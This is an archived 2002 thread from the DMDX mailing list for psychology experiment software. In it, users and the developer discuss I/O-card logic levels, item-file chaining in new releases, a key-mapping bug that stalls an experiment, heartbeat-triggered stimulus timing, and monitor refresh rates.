positive logic. A point I should clarify, if you used negative logic you would never get a spurious trigger of any of your devices. I'm not being pedantic and refusing to change DMDX's behavior, this is hardwired behavior of the interface card. Specifically before it has been setup all the I/O lines are in a high impedance state, typically interpreted by logic devices as a high signal. I cannot change this behavior, you however can change the behavior of the electronics connecting to the interface card. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nature always sides with the hidden flaw. >From DMDX-owner@psy1.psych.arizona.edu Thu Feb 14 11:53:32 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA05236 for ; Thu, 14 Feb 2002 11:53:15 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.036) id 3C682D6E000699DC for DMDX@psy1.psych.arizona.edu; Thu, 14 Feb 2002 11:53:15 -0700 Message-Id: <5.1.0.14.2.20020214114703.00b33370@psy1.psych.arizona.edu> Date: Thu, 14 Feb 2002 11:53:15 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 2.7.00 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list 2.7.00 introduces the keyword: Chain Keyword Parameter and switch to chain another item file. text is interpreted to be an itemfile in the same directory as the current itemfile, if no extension is provided .rtf is appended to the name. If another directory is desired a path relative the current itemfile's path must be used. The new item file will not be executed until the current item file finishes or terminates with the keyword. All devices are closed and the new item file is run as if it had been run manually thus allowing changes in input devices and display resolution. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nature always sides with the hidden flaw. >From DMDX-owner@psy1.psych.arizona.edu Thu Feb 14 13:53:49 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA06085 for ; Thu, 14 Feb 2002 13:53:31 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.036) id 3C682D6E0006E2EE for DMDX@psy1.psych.arizona.edu; Thu, 14 Feb 2002 13:53:31 -0700 Message-Id: <5.1.0.14.2.20020214134818.00b33398@psy1.psych.arizona.edu> Date: Thu, 14 Feb 2002 13:53:30 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 2.7.01 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Slight oops there, the subject ID was of course cleared at the end of the first item file. Fixed that with 2.7.01 so that when chaining item files they all have the same subject ID. Which brings up a minor point that subject numbers in .AZK files will still increment, so that if you chain from one file to the next the subject number won't necessarily be the same and if you then chained back to the original item file that subject would now have two subject entries -- I won't be trying to address that however. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nature always sides with the hidden flaw. >From DMDX-owner@psy1.psych.arizona.edu Fri Feb 15 02:18:42 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id CAA08417 for ; Fri, 15 Feb 2002 02:18:19 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id g1F9IIp28387 for ; Fri, 15 Feb 2002 10:18:18 +0100 From: ""Derek N. Eder"" To: Subject: [DMDX] RE: Re: chaining Date: Fri, 15 Feb 2002 10:16:02 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20020214114836.00b388a8@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list ""When my batch file switches between item files, it briefly sets all pins high and hence turns on both lights"" I fell into this trap too, and I agree with JCF that maintaining logical continuity (i.e., active-low) is the best way to go. You can easily modify your shock triggering hardware to active-low triggering by inverting the PIO output with an 'inverter' logic chip. But, I already built my experiment control circuitry based on active-high logic, and am too lazy, busy, and stubborn to change it, so I kludged on a one-shot pulse generator that clamps the logic lines 'low' for ten seconds during the DMDX batch file changeovers. - Derek -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Jonathan C. Forster Sent: den 14 februari 2002 19:52 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: chaining At 11:21 AM 2/14/2002 -0700, you wrote: > Unfortunately for you you (or your technician) have/has chosen to use > positive logic to control your devices, however computers in general are > built around negative logic where a high signal is an inactive signal. I > seriously recommend changing the logic in your hardware as these issues > are going to plague you as long as you continue to use positive logic. A point I should clarify, if you used negative logic you would never get a spurious trigger of any of your devices. I'm not being pedantic and refusing to change DMDX's behavior, this is hardwired behavior of the interface card. Specifically before it has been setup all the I/O lines are in a high impedance state, typically interpreted by logic devices as a high signal. I cannot change this behavior, you however can change the behavior of the electronics connecting to the interface card. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nature always sides with the hidden flaw. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Thu Feb 21 12:56:54 2002 Received: from bureau6.utcc.utoronto.ca (bureau6.utcc.utoronto.ca [128.100.132.16]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA27527 for ; Thu, 21 Feb 2002 12:54:52 -0700 Received: from pc15.ling.utoronto.ca ([128.100.214.15] EHLO [128.100.214.15] ident: IDENT-NOT-QUERIED [port 51557]) by bureau6.utcc.utoronto.ca with ESMTP id <238707-25070>; Thu, 21 Feb 2002 14:54:20 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: <5.1.0.14.2.20020213152914.00b33370@psy1.psych.arizona.edu> References: <5.1.0.14.2.20020213152914.00b33370@psy1.psych.arizona.edu> Date: Wed, 20 Feb 2002 14:54:35 -0400 To: DMDX@psy1.psych.arizona.edu From: Tyler Subject: [DMDX] need to continue Content-Type: multipart/alternative; boundary=""============_1709679==_ma============"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --============_1709679==_ma============ Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Can someone please tell me why pressing the space bar on the final line will not cause the program to move on to the main set of items? I have pasted the front section here. An explanation plus solution would be very helpful, and allow me to begin running subjects. thank-you! , $ 0 ""You will be presented with a series of items"", ""made up of 1-2 sentences on several lines."", ""Each item is followed"", ""by a verification sentence, which is underlined."", ""Read at a normal pace as each line appears"", ""and as soon as you have understood it"", ""press the SPACE BAR to move on to the next line."", ""When the verification sentence appears,"", ""use the TRUE and FALSE keys to indicate whether"", ""the verification sentence is true or false."", ""PRESS THE SPACE BAR TO CONTINUE.""; 0 ""Be as quick and as accurate as you can when responding"", ""to a verification sentence, but do not rush."", ""Press the J key if the sentence is true"", ""and the F key if the sentence is false."", ""After the verification sentence"", ""you will be presented with the word *NEXT*."", ""At this point, you can press the SPACE BAR"", ""to move on to the next sentence."", ""However, if you need to take a break, you can"", ""wait up to a minute before reading the next sentence."", ""But you must press the SPACE BAR to begin"", ""reading the next line."", ""PRESS THE SPACE BAR TO CONTINUE.""; 0 ""Before reading the experiment sentences"", ""you will receive some practice items."", ""When the practice items are finished,"", ""the experiment will begin."", ""To begin the practice items, press the SPACE BAR."", ""PRESS THE SPACE BAR TO CONTINUE.""; +148 c* ""One afternoon in class""; +148 c* ""Jonathon whispered to Brianne""; +148 c* ""while""; +148 "" "" / c* ""taking notes.""; +148 *""Jonathon was taking notes?""; +148 c* ""*NEXT*""; 0 ""End of practice items, press the SPACE BAR to begin the experimental items.""; $ +1 c *""One day at the mall""; +1 c *""Michael was stopped by Hannah""; +1 c *""while""; +1 "" "" / c *""leaving the store.""; -1 *""Hannah was leaving the store?""; +1 c* ""*NEXT Tyler Roncero -- Lab-Coordinator of the Psycholinguistics Lab Undergraduate student-rep, University of Toronto, for the CPA Communications co-ordinator for the PSA at UofT --============_1709679==_ma============ Content-Type: text/html; charset=""us-ascii"" need to continue Can someone please tell me why pressing the space bar on the final line will not cause the program to move on to the main set of items? I have pasted the front section here. An explanation plus solution would be very helpful, and allow me to begin running subjects. thank-you!   , $ 0 ""You will be presented with a series of items"", ""made up of 1-2 sentences on several lines."", ""Each item is followed"", ""by a verification sentence, which is underlined."", ""Read at a normal pace as each line appears"", ""and as soon as you have understood it"", ""press the SPACE BAR to move on to the next line."", ""When the verification sentence appears,"", ""use the TRUE and FALSE keys to indicate whether"", ""the verification sentence is true or false."",  ""PRESS THE SPACE BAR TO CONTINUE.""; 0 ""Be as quick and as accurate as you can when responding"", ""to a verification sentence, but do not rush."", ""Press the J key if the sentence is true"", ""and the F key if the sentence is false."", ""After the verification sentence"", ""you will be presented with the word *NEXT*."", ""At this point, you can press the SPACE BAR"", ""to move on to the next sentence."", ""However, if you need to take a break, you can"", ""wait up to a minute before reading the next sentence."", ""But you must press the SPACE BAR to begin"", ""reading the next line."", ""PRESS THE SPACE BAR TO CONTINUE.""; 0 ""Before reading the experiment sentences"", ""you will receive some practice items."", ""When the practice items are finished,"", ""the experiment will begin."", ""To begin the practice items, press the SPACE BAR."", ""PRESS THE SPACE BAR TO CONTINUE.""; +148 c* ""One afternoon in class""; +148 c* ""Jonathon whispered to Brianne""; +148 c* ""while""; +148 "" ""  / c* ""taking notes.""; +148 *""Jonathon was taking notes?""; +148 c* ""*NEXT*""; 0 ""End of practice items, press the SPACE BAR to begin the experimental items.""; $ +1 c *""One day at the mall""; +1 c *""Michael was stopped by Hannah""; +1 c *""while"";  +1 "" "" / c *""leaving the store.""; -1 *""Hannah was leaving the store?""; +1 c* ""*NEXT Tyler Roncero -- Lab-Coordinator of the Psycholinguistics Lab Undergraduate student-rep, University of Toronto, for the CPA Communications co-ordinator for the PSA at UofT --============_1709679==_ma============-- >From DMDX-owner@psy1.psych.arizona.edu Thu Feb 21 15:06:46 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA27890 for ; Thu, 21 Feb 2002 15:06:17 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.036) id 3C72822F0005499E for DMDX@psy1.psych.arizona.edu; Thu, 21 Feb 2002 15:06:17 -0700 Message-Id: <5.1.0.14.2.20020221150513.00b33338@psy1.psych.arizona.edu> Date: Thu, 21 Feb 2002 15:06:15 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: need to continue In-Reply-To: References: <5.1.0.14.2.20020213152914.00b33370@psy1.psych.arizona.edu> <5.1.0.14.2.20020213152914.00b33370@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:54 PM 1/20/1970 -0400, you wrote: >Can someone please tell me why pressing the space bar on the final line >will not cause the program to move on to the main set of items? Because you've mapped the space bar to the positive response: >+148 c* ""One afternoon in class""; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The reason computer chips are so small is computers don't eat much. >From DMDX-owner@psy1.psych.arizona.edu Fri Feb 22 02:37:07 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id CAA29481 for ; Fri, 22 Feb 2002 02:36:47 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id g1M9akp08158 for ; Fri, 22 Feb 2002 10:36:46 +0100 From: ""Derek N. Eder"" To: ""DMDX"" Subject: [DMDX] generating PIO output after precise response delay (reality check) Date: Fri, 22 Feb 2002 10:34:18 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello, [Disclaimer] I am shamelessly 'thinking out loud' here before I have even started to experiment with this in hopes that someone will point out potential problems or make suggestions. I want to present an audio, visual or PIO output triggered stimulus at a fixed interval after a PIO input trigger. To be specific, the stimulus is given 200 msec after each heart beat (logic pulse from R-wave detector). ^1 * / ; ^2 Question: Would it be stupid to generate the 200msec delay after the R-wave trigger in DMDX by inserting a ""/ /"" blank frame between the trigger detection and the output frame? I am never sure how much slop there is in the timing. Thanks, Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 (office) Tlf. +46 (031) 34 21 283 (laboratory) Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Fri Feb 22 08:35:53 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA30217 for ; Fri, 22 Feb 2002 08:35:20 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by phobos.email.Arizona.EDU (6.0.036) id 3C72C92B0005F641 for DMDX@psy1.psych.arizona.edu; Fri, 22 Feb 2002 08:35:20 -0700 Message-Id: <5.1.0.14.2.20020222082830.00b38b00@psy1.psych.arizona.edu> Date: Fri, 22 Feb 2002 08:35:19 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: generating PIO output after precise response delay (reality check) In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:34 AM 2/22/2002 +0100, you wrote: >Question: Would it be stupid to generate the 200msec delay after the R-wave >trigger in DMDX by inserting a ""/ /"" blank frame between the >trigger detection and the output frame? I am never sure how much slop there >is in the timing. There is exactly as much slop as there is duration in your refresh interval. I recently setup a similar experiment here but I used the request signal as the R-spike generated trigger from a BIOPAC, the only consideration being that one has to install the PIO12 overriding the default request polling interval of 10ms with . Then you stick a D in the parameter line with whatever number of ticks adds up to 200ms and items become: 1 ""stimuli"" / c; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Committees do harm merely by existing. - Freeman Dyson >From DMDX-owner@psy1.psych.arizona.edu Fri Feb 22 09:21:15 2002 Received: from bureau6.utcc.utoronto.ca (bureau6.utcc.utoronto.ca [128.100.132.16]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA30333 for ; Fri, 22 Feb 2002 09:21:05 -0700 Received: from pc15.ling.utoronto.ca ([128.100.214.15] EHLO [128.100.214.15] ident: IDENT-NOT-QUERIED [port 52233]) by bureau6.utcc.utoronto.ca with ESMTP id <238907-16861>; Fri, 22 Feb 2002 11:20:50 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: <5.1.0.14.2.20020221150513.00b33338@psy1.psych.arizona.edu> References: <5.1.0.14.2.20020213152914.00b33370@psy1.psych.arizona.edu> <5.1.0.14.2.20020213152914.00b33370@psy1.psych.arizona.edu> <5.1.0.14.2.20020221150513.00b33338@psy1.psych.arizona.edu> Date: Thu, 21 Feb 2002 11:21:03 -0400 To: DMDX@psy1.psych.arizona.edu From: Tyler Subject: [DMDX] Re: need to continue Content-Type: multipart/alternative; boundary=""============_1783269==_ma============"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --============_1783269==_ma============ Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" That is not the line I was referring to. , $ (large intro segment) This is the final line in the intro. 0 ""Before reading the experiment sentences"", ""you will receive some practice items."", ""When the practice items are finished,"", ""the experiment will begin."", ""To begin the practice items, press the SPACE BAR."", ""PRESS THE SPACE BAR TO CONTINUE.""; Pressing the space bar here does make the program move on to the practice items. This is the final practice item, all other practice items are identical to this item (other than the text) +148 c* ""One afternoon in class""; +148 c* ""Jonathon whispered to Brianne""; +148 c* ""while""; +148 "" "" / c* ""taking notes.""; +148 *""Jonathon was taking notes?""; +148 c* ""*NEXT*""; This is the line where we are confused. In the final line of the intro, pressing the space bar commeneded the presentation of the practice items. We assumed that the following line is virtually identical to the final line in the intro, therefore, we assumed that the experimental items would begin once a subject press the space bar after reading the following line: 0 ""End of practice items, press the SPACE BAR to begin the experimental items.""; Howeer, this does not occur. The line remains on the screen, and no keyboard response can remove it. After the previous line is another dollar sign. $ And then the experimental items begin, the following is the first experimental item. +1 c *""One day at the mall""; +1 c *""Michael was stopped by Hannah""; +1 c *""while""; +1 "" "" / c *""leaving the store.""; -1 *""Hannah was leaving the store?""; +1 c* ""*NEXT Therefore, our problem is that the program is not moving from the practice items to the experimental items in the manner we had hoped. It would be greatly appreciated if you could explain the problem and suggest a solution. Thank-you Tyler Roncero -- Lab-Coordinator of the Psycholinguistics Lab Undergraduate student-rep, University of Toronto, for the CPA Communications co-ordinator for the PSA at UofT --============_1783269==_ma============ Content-Type: text/html; charset=""us-ascii"" [DMDX] Re: need to continue That is not the line I was referring to.   , $ (large intro segment) This is the final line in the intro. 0 ""Before reading the experiment sentences"", ""you will receive some practice items."", ""When the practice items are finished,"", ""the experiment will begin."", ""To begin the practice items, press the SPACE BAR."", ""PRESS THE SPACE BAR TO CONTINUE.""; Pressing the space bar here does make the program move on to the practice items. This is the final practice item, all other practice items are identical to this item (other than the text) +148 c* ""One afternoon in class""; +148 c* ""Jonathon whispered to Brianne""; +148 c* ""while""; +148 "" ""  / c* ""taking notes.""; +148 *""Jonathon was taking notes?""; +148 c* ""*NEXT*""; This is the line where we are confused. In the final line of the intro, pressing the space bar commeneded the presentation of the practice items. We assumed that the following line is virtually identical to the final line in the intro, therefore, we assumed that the experimental items would begin once a subject press the space bar after reading the following line: 0 ""End of practice items, press the SPACE BAR to begin the experimental items.""; Howeer, this does not occur. The line remains on the screen, and no keyboard response can remove it. After the previous line is another dollar sign. $ And then the experimental items begin, the following is the first experimental item. +1 c *""One day at the mall""; +1 c *""Michael was stopped by Hannah""; +1 c *""while"";  +1 "" "" / c *""leaving the store.""; -1 *""Hannah was leaving the store?""; +1 c* ""*NEXT Therefore, our problem is that the program is not moving from the practice items to the experimental items in the manner we had hoped. It would be greatly appreciated if you could explain the problem and suggest a solution. Thank-you Tyler Roncero -- Lab-Coordinator of the Psycholinguistics Lab Undergraduate student-rep, University of Toronto, for the CPA Communications co-ordinator for the PSA at UofT --============_1783269==_ma============-- >From DMDX-owner@psy1.psych.arizona.edu Fri Feb 22 09:28:44 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA30384 for ; Fri, 22 Feb 2002 09:28:37 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id g1MGSZp24235 for ; Fri, 22 Feb 2002 17:28:35 +0100 From: ""Derek N. Eder"" To: Subject: [DMDX] RE: Re: generating PIO output after precise response delay (reality check) Date: Fri, 22 Feb 2002 17:26:06 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20020222082830.00b38b00@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list WOW! So, it is this simple? 1 ""stimuli.wav"" / Continue; 2 ""stimuli.wav"" / Continue; 3 ""stimuli.wav"" / Continue; Amazing! Thank you JCF! >From DMDX-owner@psy1.psych.arizona.edu Fri Feb 22 10:10:29 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA30567 for ; Fri, 22 Feb 2002 10:10:15 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by phobos.email.Arizona.EDU (6.0.036) id 3C72C92B0006278D for DMDX@psy1.psych.arizona.edu; Fri, 22 Feb 2002 10:10:15 -0700 Message-Id: <5.1.0.14.2.20020222100716.00b4d488@psy1.psych.arizona.edu> Date: Fri, 22 Feb 2002 10:10:14 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] RE: Re: generating PIO output after precise response delay (reality check) In-Reply-To: References: <5.1.0.14.2.20020222082830.00b38b00@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:26 PM 2/22/2002 +0100, you wrote: >WOW! > >So, it is this simple? Yep, assuming you make the second remark a remark: > >rate: 200msec / 20msec = 10 ticks> > >1 ""stimuli.wav"" / Continue; >2 ""stimuli.wav"" / Continue; >3 ""stimuli.wav"" / Continue; Bear in mind that those items are still synchronized with the raster giving you 0 to 20ms of variability -- this is unavoidable using DMDX. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Committees do harm merely by existing. - Freeman Dyson >From DMDX-owner@psy1.psych.arizona.edu Fri Feb 22 10:13:30 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA30587 for ; Fri, 22 Feb 2002 10:13:24 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by phobos.email.Arizona.EDU (6.0.036) id 3C72C92B00062950 for DMDX@psy1.psych.arizona.edu; Fri, 22 Feb 2002 10:13:23 -0700 Message-Id: <5.1.0.14.2.20020222101113.00b4d488@psy1.psych.arizona.edu> Date: Fri, 22 Feb 2002 10:13:21 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: need to continue In-Reply-To: References: <5.1.0.14.2.20020221150513.00b33338@psy1.psych.arizona.edu> <5.1.0.14.2.20020213152914.00b33370@psy1.psych.arizona.edu> <5.1.0.14.2.20020213152914.00b33370@psy1.psych.arizona.edu> <5.1.0.14.2.20020221150513.00b33338@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:21 AM 1/21/1970 -0400, you wrote: >That is not the line I was referring to. Nor was I. > , 1> > >$ > >(large intro segment) > >This is the final line in the intro. > >0 ""Before reading the experiment sentences"", ""you will >receive some practice items."", ""When the practice items are >finished,"", ""the experiment will begin."", ""To begin the >practice items, press the SPACE BAR."", ""PRESS THE SPACE BAR TO >CONTINUE.""; > >Pressing the space bar here does make the program move on to the practice >items. > > >This is the final practice item, all other practice items are identical to >this item (other than the text) > >+148 c* ""One afternoon in class""; >+148 c* ""Jonathon whispered to Brianne""; >+148 c* ""while""; >+148 "" "" / c* ""taking notes.""; >+148 *""Jonathon was taking notes?""; >+148 c* ""*NEXT*""; > >This is the line where we are confused. > >In the final line of the intro, pressing the space bar commeneded the >presentation of the practice items. We assumed that the following line is >virtually identical to the final line in the intro, therefore, we assumed >that the experimental items would begin once a subject press the space bar >after reading the following line: > >0 ""End of practice items, press the SPACE BAR to begin the >experimental items.""; This is the line I was referring to. At this point in the item file the space bar is mapped to the positive response and you have unmapped all request keys. There is no way for an instruction to terminate. >Howeer, this does not occur. The line remains on the screen, and no >keyboard response can remove it. > >After the previous line is another dollar sign. >$ >And then the experimental items begin, the following is the first >experimental item. >+1 c *""One day at the mall""; >+1 c *""Michael was stopped by Hannah""; >+1 c *""while""; >+1 "" "" / c *""leaving the store.""; >-1 *""Hannah was leaving the store?""; >+1 c* ""*NEXT > >Therefore, our problem is that the program is not moving from the practice >items to the experimental items in the manner we had hoped. It would be >greatly appreciated if you could explain the problem and suggest a solution. Map the space bar to a request: 0 ""End of practice items, press the SPACE BAR to begin the experimental items.""; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Committees do harm merely by existing. - Freeman Dyson >From DMDX-owner@psy1.psych.arizona.edu Fri Feb 22 10:27:44 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA30654 for ; Fri, 22 Feb 2002 10:27:37 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id g1MHRap25317 for ; Fri, 22 Feb 2002 18:27:36 +0100 From: ""Derek N. Eder"" To: Subject: [DMDX] RE: RE: Re: generating PIO output after precise response delay (reality check) Date: Fri, 22 Feb 2002 18:25:06 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20020222100716.00b4d488@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list If one is not using the video display in an experiment, can you set the raster clock at some impractically fast rate like 5ms? in order to minimize the timing variability (slop) of audio or PIO driven events? - derek >From DMDX-owner@psy1.psych.arizona.edu Fri Feb 22 13:30:51 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA31164 for ; Fri, 22 Feb 2002 13:30:06 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by phobos.email.Arizona.EDU (6.0.036) id 3C72C92B00069657 for DMDX@psy1.psych.arizona.edu; Fri, 22 Feb 2002 13:30:06 -0700 Message-Id: <5.1.0.14.2.20020222132643.00b49358@psy1.psych.arizona.edu> Date: Fri, 22 Feb 2002 13:30:05 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] RE: RE: Re: generating PIO output after precise response delay (reality check) In-Reply-To: References: <5.1.0.14.2.20020222100716.00b4d488@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:25 PM 2/22/2002 +0100, you wrote: >If one is not using the video display in an experiment, can you set the >raster clock at some impractically fast rate like 5ms? in order to minimize >the timing variability (slop) of audio or PIO driven events? I've thought about it before but the thing's going to be going berserk trying to resync the display every 64 times it times out not finding the retrace and while it's trying to resync with the display not much else is going to be happening. You could try it but I sure don't recommend it and if you do try it you'll have to some up with some external means of testing DMDX's performance. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Committees do harm merely by existing. - Freeman Dyson >From DMDX-owner@psy1.psych.arizona.edu Tue Feb 26 13:01:37 2002 Received: from deimos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA09296 for ; Tue, 26 Feb 2002 13:00:32 -0700 From: lindseyl@email.arizona.edu Received: from [128.196.8.98] by deimos.email.Arizona.EDU with HTTP; Tue, 26 Feb 2002 13:00:30 -0700 Date: Tue, 26 Feb 2002 13:00:30 -0700 Message-ID: <3C7BCCEC0000057E@deimos.email.Arizona.EDU> Subject: [DMDX] refresh rate To: ""DMDX listserve"" MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello, Any help with the following problem would be greatly appreciated. The tasks are written and timed for a monitor refresh rate of 75 Hz. however, periodically the computer will change the refresh rate on us and go back to 60 Hz... how can we prevent this from happening? Thank-you, Lindsey Littrell __________________________________________________ Lindsey Littrell Research Technician Departments of Psychiatry & Neurology University of Arizona >From DMDX-owner@psy1.psych.arizona.edu Tue Feb 26 13:51:32 2002 Received: from mail5.doit.wisc.edu (mail5.doit.wisc.edu [144.92.9.76]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA09478 for ; Tue, 26 Feb 2002 13:51:25 -0700 Received: from [144.92.102.189] by mail5.doit.wisc.edu id OAA47144 (8.9.1/50); Tue, 26 Feb 2002 14:51:23 -0600 Message-Id: <5.1.0.14.2.20020226141202.00aa8790@students.wisc.edu> Date: Tue, 26 Feb 2002 14:53:51 -0600 To: DMDX@psy1.psych.arizona.edu From: ""David M. Amodio"" Subject: [DMDX] delay when using in large item files Mime-Version: 1.0 